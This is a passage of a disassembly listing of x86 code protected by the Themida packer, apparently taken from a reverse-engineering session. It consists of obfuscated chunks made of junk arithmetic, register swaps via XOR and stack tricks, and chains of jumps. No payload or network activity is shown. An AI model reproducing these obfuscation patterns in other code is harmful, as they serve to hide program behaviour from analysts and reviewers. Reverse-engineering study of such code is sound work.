sub al, 4Eh
add al, 0CEh
sub esp, 2
jmp loc_586600
; END OF FUNCTION CHUNK FOR sub_5B5756
; =============== S U B R O U T I N E =======================================
sub_583C38 proc near ; CODE XREF: sub_585452+A0BEj
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00588372 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00589BDC SIZE 0000000C BYTES
push ebx
mov ebx, eax
mov edx, ebx
mov ebx, [esp+4+var_4]
add esp, 4
mov eax, [esp+0]
add esp, 4
sub edx, 505322F4h
push edx
jmp loc_588372
sub_583C38 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_583C58: ; CODE XREF: Themida_:0058D877j
xor ecx, 12CD42B3h
mov edi, ecx
pop ecx
add ebp, 102716Fh
add ebp, edi
sub ebp, 102716Fh
jmp loc_58DB99
; ---------------------------------------------------------------------------
loc_583C74: ; CODE XREF: Themida_:0058B6C1j
add esp, 4
jmp loc_5860A1
; ---------------------------------------------------------------------------
loc_583C7C: ; CODE XREF: Themida_:00587FD3j
mov [esp], esi
push esp
pop esi
add esi, 4
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_5846E7
; ---------------------------------------------------------------------------
loc_583C98: ; CODE XREF: Themida_:0058BD8Cj
push bx
jmp loc_58C046
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_583C9F: ; CODE XREF: sub_585452+9181j
pop edx
jmp loc_58753A
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_583CA5: ; CODE XREF: Themida_:005846BBj
sub bx, 6EB8h
add bx, dx
push esi
mov si, 3D06h
jmp loc_58F09B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_583CB7: ; CODE XREF: sub_585452+7F5j
shr eax, 8
add eax, 29E53774h
sub ebp, eax
jmp loc_58CDF0
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E931
loc_583CC6: ; CODE XREF: sub_58E931-A23Bj
push 72DD1936h
pop eax
xor eax, 442603FEh
dec eax
inc eax
add eax, 0CF5E0881h
sub esp, 4
mov [esp+0Ch+var_C], eax
push edx
jmp loc_585107
; END OF FUNCTION CHUNK FOR sub_58E931
; ---------------------------------------------------------------------------
loc_583CE4: ; CODE XREF: Themida_:0058E074j
push ebx
mov ebx, 4
jmp loc_58D421
; ---------------------------------------------------------------------------
loc_583CEF: ; CODE XREF: Themida_:0058A887j
push esp
pop ebx
jmp loc_5886CA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_583CF6: ; CODE XREF: sub_585452+A60Fj
push 4
pop eax
add edi, 6D241D33h
add edi, 264D431Fh
jmp loc_589EC6
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_583D0D: ; CODE XREF: Themida_:0058BDABj
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_583D12: ; CODE XREF: Themida_:0058B6AEj
shl dh, 6
add dh, 0F5h
sub bl, 1Ch
sub bl, dh
add bl, 1Ch
pop edx
pop ecx
push ax
mov ah, 2
sub bl, ah
pop ax
sub bl, 0D1h
jmp loc_5884D6
; ---------------------------------------------------------------------------
mov ax, [esp]
push eax
push esp
pop eax
push esi
mov esi, 4
add eax, esi
mov esi, [esp]
add esp, 4
push ecx
mov ecx, 7B4E426Fh
jmp loc_58E08B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_583D55: ; CODE XREF: sub_585452+1AA1j
pop esi
add ebx, 4
xchg ebx, [esp-8+arg_4]
jmp loc_58D9A6
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_583D64: ; CODE XREF: Themida_:0058BBB7j
push ebx
mov ebx, 5F4B40C4h
jmp loc_589D40
; =============== S U B R O U T I N E =======================================
sub_583D6F proc near ; CODE XREF: sub_585452+47E2j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00586374 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00587733 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058ABBA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058B8A4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D2E1 SIZE 00000019 BYTES
push ebp
push 9E41D84h
jmp loc_587733
sub_583D6F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_583D7A: ; CODE XREF: Themida_:0058B44Cj
mov dh, 40h
jmp loc_5878FE
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_5865DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_583D89: ; CODE XREF: sub_585452+82Ej
add al, 8Fh
add al, 7Dh
push 5E7Eh
mov [esp-4+arg_0], ebx
push 1779h
mov [esp+0], ecx
mov ch, 1Ah
push edx
mov dh, ch
mov bh, dh
jmp loc_58BE32
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_583DA9: ; CODE XREF: Themida_:0058517Aj
neg ecx
sub ecx, 84219043h
jmp loc_589F4C
; ---------------------------------------------------------------------------
loc_583DB6: ; CODE XREF: Themida_:005870E7j
mov [esp], ebp
mov ebp, 259F3B3Ah
and ebp, 2A3C5BB4h
push ecx
mov ecx, 52063C2Ch
add ebp, ecx
jmp loc_58EA83
; ---------------------------------------------------------------------------
loc_583DD1: ; CODE XREF: Themida_:005896F5j
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_583DD6: ; CODE XREF: Themida_:00589B62j
add ebp, 1BFE6545h
sub ebp, ebx
jmp loc_585054
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_583DE3: ; CODE XREF: sub_585452+47D4j
pop edi
xor esi, [esp+0]
xor [esp+0], esi
xor esi, [esp+0]
pop esp
mov [esp-4+arg_0], ebx
mov ebx, 7A07544h
push 1B08h
mov [esp+0], edx
mov edx, 614975B7h
neg edx
add edx, 20FE54ADh
add edx, 0AADD3B2Ah
add ebx, edx
pop edx
or ebx, 60DE6919h
push ebp
mov ebp, 6825540Eh
sub ebx, ebp
pop ebp
push edi
mov edi, 5595207Ch
or ebx, edi
pop edi
xor ebx, 5FDDB883h
add edi, ebx
push [esp-4+arg_0]
pop ebx
jmp loc_5842A5
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B5756
loc_583E3D: ; CODE XREF: sub_5B5756-2F150j
push small 2CA7h
mov word ptr [esp+2Ah+var_2A], dx
jmp loc_58AE74
; END OF FUNCTION CHUNK FOR sub_5B5756
; ---------------------------------------------------------------------------
push small word ptr [edx]
jmp loc_583C20
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
push esp
pop edx
sub esp, 4
mov [esp], ebp
mov ebp, 4
add edx, ebp
pop ebp
push esi
push 4B5Fh
jmp loc_58B5CF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_583E75: ; CODE XREF: sub_58FA66-5576j
and edx, 28F6A30h
not edx
sub edx, 0FDF5DFE0h
mov ebp, edx
pop edx
sub [edi+24h], ebp
push [esp-4+arg_0]
pop ebp
jmp loc_58573B
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589FD5
loc_583E92: ; CODE XREF: sub_589FD5-1E94j
mov ebp, [esp+0]
add esp, 4
add edx, edi
add eax, [edx]
mov edx, [esp-4+arg_0]
jmp loc_588EB8
; END OF FUNCTION CHUNK FOR sub_589FD5
; ---------------------------------------------------------------------------
lodsb
jmp loc_58CB00
; ---------------------------------------------------------------------------
loc_583EAD: ; CODE XREF: Themida_:0058E086j
push eax
jmp loc_58D478
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_583EB3: ; CODE XREF: sub_585452+611j
pop [esp-4+arg_0]
mov esp, [esp-8+arg_4]
push [esp-8+arg_4]
pop eax
push 4AD3h
jmp loc_586FAD
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_583EC7: ; CODE XREF: sub_589967+57AEj
add ebx, esi
jmp loc_585F4B
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58960C
loc_583ECE: ; CODE XREF: sub_58960C+1AEj
sub ebx, ecx
pop ecx
push esi
mov esi, 0DC03900h
add ebx, 0ED66044h
add ebx, esi
sub ebx, 0ED66044h
jmp loc_58E836
; END OF FUNCTION CHUNK FOR sub_58960C
; ---------------------------------------------------------------------------
loc_583EEA: ; CODE XREF: Themida_:0058DDFBj
mov edx, [esp]
jmp loc_5895FA
; ---------------------------------------------------------------------------
push ecx
push 47B03643h
mov ecx, [esp]
jmp loc_58DE19
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_583F00: ; CODE XREF: sub_589967-4EBDj
mov [esp+0], esi
jmp loc_58907D
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
loc_583F08: ; CODE XREF: Themida_:005895A9j
xor ebx, 0B474C5Ch
xor ebx, 49A9DE8Fh
sub eax, 0B4B5F5Eh
sub eax, 65AB7BCFh
jmp loc_58D892
; ---------------------------------------------------------------------------
loc_583F23: ; CODE XREF: Themida_:0058F37Dj
xchg ebx, [esp]
pop esp
mov [esp], eax
push ebx
push 64606C83h
jmp loc_586293
; ---------------------------------------------------------------------------
unk_583F35 db 0 ; CODE XREF: sub_587E93-2AD4j
; ---------------------------------------------------------------------------
fstp dword ptr [ebx+53h]
push cx
jmp loc_58F1A1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58AB18
loc_583F40: ; CODE XREF: sub_58AB18+4F87j
mov edi, edx
jmp loc_5886B5
; END OF FUNCTION CHUNK FOR sub_58AB18
; ---------------------------------------------------------------------------
loc_583F47: ; CODE XREF: Themida_:0058925Cj
mov al, bh
jmp loc_589875
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_58DAA8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B5756
loc_583F57: ; CODE XREF: sub_5B5756-279DBj
mov [esp+2Ah+var_2A], ecx
push edx
jmp loc_58418B
; END OF FUNCTION CHUNK FOR sub_5B5756
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_583F60: ; CODE XREF: sub_58C230-6E4Fj
push edx
mov edx, 4
add eax, edx
pop edx
xchg eax, [esp+0]
pop esp
push 23CEh
mov [esp+0], edi
jmp loc_58D954
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
loc_583F7A: ; CODE XREF: Themida_:00588A05j
pop eax
add esi, ecx
pop ecx
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebp
jmp loc_5874E2
; ---------------------------------------------------------------------------
loc_583F90: ; CODE XREF: Themida_:0058F03Cj
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_584123
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
push esi
mov esi, 44F503CFh
or esi, 601751E6h
jmp loc_5875AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_583FC4: ; CODE XREF: sub_585452-49Fj
push eax
push 1E9Dh
mov [esp+4+var_4], edx
mov eax, [esp+4+var_4]
push ebx
mov ebx, esp
push ecx
jmp loc_58D88C
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
mov ax, fs:[edx]
jmp loc_58CEA3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_583FE2: ; CODE XREF: sub_585452+1C2Aj
neg edi
sub edi, 42E81531h
sub edi, 2055550Ch
sub edi, 0AC051DB2h
jmp loc_58DD32
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_583FFB: ; CODE XREF: sub_58EFBD-7AE0j
neg ebp
sub esp, 4
mov [esp+4+var_4], edi
mov edi, 77079D6h
jmp loc_58A89C
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_58400D: ; CODE XREF: Themida_:00587E7Aj
mov [esp], edx
mov dh, 3Ch
sub al, 42h
sub al, dh
push edx
jmp loc_587910
; ---------------------------------------------------------------------------
pop dword ptr [edi+40h]
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584024: ; CODE XREF: sub_585452+835j
sub edx, 671636A3h
pop esi
jmp loc_589C2B
; ---------------------------------------------------------------------------
loc_584030: ; CODE XREF: sub_585452+717Aj
sub eax, edi
mov edi, [esp+8+var_8]
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
jmp loc_58EE23
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584046: ; CODE XREF: Themida_:0058A0EAj
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], esp
jmp loc_58AC54
; =============== S U B R O U T I N E =======================================
sub_58405E proc near ; CODE XREF: sub_58C31F-2595j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00585041 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00588133 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00589DA4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058C5D8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058F08B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058F1B1 SIZE 0000001C BYTES
push ebx
jmp loc_589DA4
sub_58405E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584064: ; CODE XREF: sub_585452+5763j
pop esp
jmp loc_587F05
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F3BC
loc_58406A: ; CODE XREF: sub_58F3BC-77D7j
pop esi
shr edi, 7
xor edi, offset byte_44A8DF
push edi
jmp loc_589A9D
; END OF FUNCTION CHUNK FOR sub_58F3BC
; ---------------------------------------------------------------------------
mov ax, [esp]
push 1E95h
mov [esp], ecx
push esp
jmp loc_58E443
; ---------------------------------------------------------------------------
loc_58408C: ; CODE XREF: Themida_:005895DCj
pop esp
add edi, 2
push 2949h
mov [esp], edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
jmp loc_588EA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_5840A7: ; CODE XREF: sub_58FA66-3F0j
add eax, 4
jmp loc_5860E8
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_586A34
loc_5840B1: ; CODE XREF: sub_586A34+560Dj
or eax, 55C23E78h
shl eax, 7
and eax, 40601BABh
add eax, 0C0006558h
add ebx, eax
pop eax
jmp loc_58985A
; END OF FUNCTION CHUNK FOR sub_586A34
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5840CB: ; CODE XREF: sub_585452+2855j
mov esi, [esp+8+var_8]
jmp loc_58AD50
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58905F
loc_5840D3: ; CODE XREF: sub_58905F+Cj
add ecx, 0C016FEC6h
mov esi, ecx
pop ecx
sub eax, esi
pop esi
push edi
push 3B02E2Dh
pop edi
add edi, 19D40462h
or edi, 59F75872h
sub edi, 258E3114h
and edi, 60D96A8Fh
jmp loc_589B82
; END OF FUNCTION CHUNK FOR sub_58905F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584103: ; CODE XREF: sub_585452+92D9j
mov ebp, 551038C4h
add [esp+8+var_4], 666801DAh
jmp loc_586F38
; ---------------------------------------------------------------------------
loc_584115: ; CODE XREF: sub_585452+3B41j
xor dh, 93h
add dh, 0C0h
sub al, dh
pop edx
jmp loc_58CB89
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584123: ; CODE XREF: Themida_:00583F9Fj
pop esp
and [edi+1Ch], ecx
pop ecx
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58412D: ; CODE XREF: sub_585452+8FA1j
mov [esp+4+var_4], esi
mov esi, 43D10A7Fh
mov ebx, esi
pop esi
jmp loc_58DFBC
; ---------------------------------------------------------------------------
loc_58413D: ; CODE XREF: sub_585452+640Cj
pop ecx
add ebx, ecx
sub ebx, 7C9221F2h
jmp sub_58B758
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58414B: ; CODE XREF: Themida_:0058AC22j
add edi, eax
mov eax, [esp]
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_585EEA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584164: ; CODE XREF: sub_585452+A315j
pop edx
sub ecx, ebp
jmp loc_58AE4C
; ---------------------------------------------------------------------------
loc_58416C: ; CODE XREF: sub_585452+3E1j
add ebx, 6895554Ch
jmp loc_58553B
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584177: ; CODE XREF: Themida_:0058CBD7j
add edx, edi
jmp loc_58E013
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58417E: ; CODE XREF: sub_585452+349Bj
shr bh, 2
push eax
mov ah, 1Eh
sub bh, ah
jmp loc_58556E
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B5756
loc_58418B: ; CODE XREF: sub_5B5756-317FBj
mov dl, 0D3h
jmp loc_58D29F
; END OF FUNCTION CHUNK FOR sub_5B5756
; ---------------------------------------------------------------------------
lodsb
push ebx
mov ebx, esp
jmp loc_588023
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589C10
loc_58419B: ; CODE XREF: sub_589C10+428Ej
pop ecx
xor edx, [esp-4+arg_0]
jmp loc_584F30
; END OF FUNCTION CHUNK FOR sub_589C10
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5841A4: ; CODE XREF: sub_585452+9D93j
add esp, 4
not ah
jmp loc_58B48F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_5841B1: ; CODE XREF: sub_589967+6j
mov [esp+4+var_4], edx
mov edx, esp
add edx, 4
sub esp, 4
mov [esp+8+var_8], ebp
mov ebp, 400B1529h
shl ebp, 6
push edx
mov edx, 7EF3337Eh
or edx, 0BFC3300h
or edx, 4E5A2A27h
push ebp
mov ebp, 47A85AAEh
or ebp, 6B4C3C9Ah
shl ebp, 2
dec ebp
not ebp
jmp loc_58479F
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F923
loc_5841F6: ; CODE XREF: sub_58F923+7j
mov eax, ebp
jmp loc_589371
; END OF FUNCTION CHUNK FOR sub_58F923
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C92B
loc_5841FD: ; CODE XREF: sub_58C92B+1Bj
sub edx, 605E3671h
sub edx, ebx
add edx, 605E3671h
add edx, 19D855DEh
pop ebx
pop esi
add edx, 4
xchg edx, [esp-4+arg_0]
pop esp
sub ecx, 214F6582h
push edx
sub esp, 4
mov [esp+0], ebx
push ebp
mov ebp, 7D7E01A4h
xor ebp, 32256DDDh
mov ebx, ebp
pop ebp
shl ebx, 7
shr ebx, 3
neg ebx
push esi
mov esi, 6C350C12h
xor ebx, esi
pop esi
jmp loc_58697A
; END OF FUNCTION CHUNK FOR sub_58C92B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58424C: ; CODE XREF: sub_585452+9B0j
pop esp
mov [esp-0Ch+arg_8], edi
jmp loc_588ADD
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BCA7
loc_584255: ; CODE XREF: sub_58BCA7-503Dj
mov [esp+4+var_4], edx
jmp sub_585019
; END OF FUNCTION CHUNK FOR sub_58BCA7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58425D: ; CODE XREF: sub_585452+4812j
not bh
mov dl, bh
pop ebx
jmp loc_587B50
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584267: ; CODE XREF: Themida_:00586089j
mov ebx, 39B3303Bh
xor ebx, 5A94005h
xor esi, ebx
pop ebx
shr esi, 8
push eax
jmp loc_58699B
; ---------------------------------------------------------------------------
loc_58427E: ; CODE XREF: Themida_:0058F7B7j
push 455Dh
mov [esp], edx
mov edx, 4
add edi, edx
jmp loc_586B94
; ---------------------------------------------------------------------------
loc_584292: ; CODE XREF: Themida_:0058921Ej
add ecx, 0F918D62Ah
jmp loc_5887AB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58429D: ; CODE XREF: sub_585452+369Cj
mov eax, [esp+0]
jmp loc_585C93
; ---------------------------------------------------------------------------
loc_5842A5: ; CODE XREF: sub_585452-161Aj
add esp, 4
movzx eax, al
jmp loc_58F7FF
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_58CE0B
; ---------------------------------------------------------------------------
loc_5842B9: ; CODE XREF: Themida_:00589726j
push 6AB8h
jmp loc_58BBE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5842C3: ; CODE XREF: sub_585452+A530j
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_58C590
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop ecx
push 2B56h
mov [esp], ebp
mov ebp, esp
add ebp, 4
push esi
push edx
mov edx, 4
mov esi, edx
jmp loc_5873B0
; ---------------------------------------------------------------------------
loc_5842F9: ; CODE XREF: Themida_:0058DF1Bj
mov [esp], edx
push esp
mov edx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push 594Bh
mov [esp], edi
jmp loc_588160
; ---------------------------------------------------------------------------
loc_584320: ; CODE XREF: Themida_:0058A6DFj
xchg eax, [esp]
mov esp, [esp]
jmp loc_58B0C7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D28B
loc_58432B: ; CODE XREF: sub_58D28B+Fj
add esp, 4
add ebx, 2
push ebx
push [esp+arg_0]
pop ebx
pop dword ptr [esp+0]
jmp loc_58EAE4
; END OF FUNCTION CHUNK FOR sub_58D28B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584342: ; CODE XREF: sub_585452+85F5j
pop edx
shr ecx, 7
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_58E527
; ---------------------------------------------------------------------------
loc_584357: ; CODE XREF: sub_585452+32Ej
mov edx, 4291196Fh
not edx
push ebx
mov ebx, 7C1E1C54h
add ebx, 126E43DBh
not ebx
jmp loc_58B0BA
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584371: ; CODE XREF: Themida_:0058A37Dj
pop edx
add esp, 4
xchg esi, [esp]
pop esp
mov [esp], eax
push 163Dh
mov [esp], eax
jmp loc_58D672
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584389: ; CODE XREF: sub_585452+1ACBj
shr eax, 10h
jmp loc_58A3F9
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584391: ; CODE XREF: Themida_:00584499j
sub esp, 4
mov [esp], ecx
push esp
pop ecx
jmp loc_585A96
; ---------------------------------------------------------------------------
loc_5843A1: ; CODE XREF: Themida_:005860AFj
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_5843A6: ; CODE XREF: Themida_:0058F23Aj
pop esp
jmp loc_585387
; ---------------------------------------------------------------------------
push dword ptr [edi+38h]
sub esp, 4
jmp loc_58B470
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5843B7: ; CODE XREF: sub_585452+2558j
pop ebx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+0]
pop esp
add ebx, 4
push ebp
mov ebp, 2
add ebx, 47F16C73h
add ebx, ebp
sub ebx, 47F16C73h
pop ebp
push ebx
push [esp+arg_0]
pop ebx
pop dword ptr [esp+0]
jmp loc_588B9E
; ---------------------------------------------------------------------------
loc_5843F4: ; CODE XREF: sub_585452+586j
add edx, ebx
pop ebx
push edx
push [esp-4+arg_4]
pop edx
pop [esp-4+arg_0]
mov esp, [esp-8+arg_4]
jmp loc_58A8F9
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584408: ; CODE XREF: Themida_:0058C00Ej
add al, 4Bh
sub al, 0E5h
add al, ch
jmp loc_58C219
; ---------------------------------------------------------------------------
loc_584413: ; CODE XREF: Themida_:00588EB3j
add eax, 2
xchg eax, [esp]
mov esp, [esp]
sub [esp], al
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584427: ; CODE XREF: sub_585452+82D7j
pop esi
add esp, 4
add ebp, ebx
pop ebx
jmp loc_58CCBB
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BE98
loc_584433: ; CODE XREF: sub_58BE98-5552j
and ecx, edx
pop edx
shr ecx, 0Ah
push ebx
push esi
push eax
jmp loc_589126
; END OF FUNCTION CHUNK FOR sub_58BE98
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584441: ; CODE XREF: sub_585452+84FDj
add edi, ebp
pop ebp
add edi, 4
xchg edi, [esp-18h+arg_12+2]
pop esp
push edi
push 51277F35h
push [esp-14h+arg_E+2]
mov edi, [esp+0]
add esp, 4
add esp, 4
and edi, 3A11196Eh
push ebx
push edi
mov edi, 220B1F2Ah
inc edi
jmp loc_586F8C
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584470: ; CODE XREF: Themida_:0058D633j
add edi, ebx
add edi, 795508A2h
sub edi, 4ADF3BE4h
sub edi, 7ABF52E0h
pop ebx
add edi, 2
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
mov cx, [esp]
jmp loc_584391
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58449E: ; CODE XREF: sub_585452+843Bj
mov edi, 78061F0Ah
or edi, 30295880h
sub edi, 643F0214h
xor edi, 5F575F8Eh
push ebx
mov ebx, 9B76AE3h
jmp loc_58DB69
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_586650
loc_5844C0: ; CODE XREF: sub_586650+7j
pop edx
add [esp+8+var_4], edx
pop edx
jmp loc_58F6C0
; END OF FUNCTION CHUNK FOR sub_586650
; ---------------------------------------------------------------------------
loc_5844CB: ; CODE XREF: Themida_:0058D1B8j
xchg ebp, [esp]
pop esp
mov [esp], edx
mov dl, 19h
not dl
inc dl
xor dl, 8Ah
add dl, 4
push ebx
mov bh, 0BCh
shr bh, 4
sub bh, 0D3h
add dl, bh
pop ebx
jmp loc_58D6B9
; ---------------------------------------------------------------------------
loc_5844EF: ; CODE XREF: Themida_:0058EF68j
pop ebx
xor ebx, esi
pop esi
add edx, ebx
pop ebx
push ebx
mov ebx, 2
add edx, ebx
pop ebx
jmp loc_58A416
; ---------------------------------------------------------------------------
loc_584504: ; CODE XREF: Themida_:0058DB64j
mov edx, [esp]
push esi
jmp loc_58C9AB
; ---------------------------------------------------------------------------
lodsb
jmp loc_58A918
; ---------------------------------------------------------------------------
loc_584513: ; CODE XREF: Themida_:0058650Aj
mov dh, 14h
dec dh
push ax
mov ah, 0
xor dh, ah
pop ax
push ecx
jmp loc_589837
; ---------------------------------------------------------------------------
loc_584525: ; CODE XREF: Themida_:0058F7E5j
pop ebx
push esi
mov esi, 0FC059C5Bh
jmp loc_588978
; ---------------------------------------------------------------------------
mov ecx, [esp]
push 7032h
mov [esp], ecx
push esp
jmp loc_585F74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584542: ; CODE XREF: sub_585452-EEFj
pop edi
add esp, 4
jmp loc_58D87C
; ---------------------------------------------------------------------------
loc_58454B: ; CODE XREF: sub_585452+34C0j
add eax, 4
sub esp, 4
mov [esp+0], edi
mov edi, 4
add eax, edi
push dword ptr [esp+0]
jmp loc_584542
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_584568: ; CODE XREF: sub_58EFBD-6846j
add esp, 4
xchg edi, [esp+0]
mov esp, [esp+0]
mov [esp+0], ebx
mov ebx, 696208B8h
jmp loc_58E43A
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
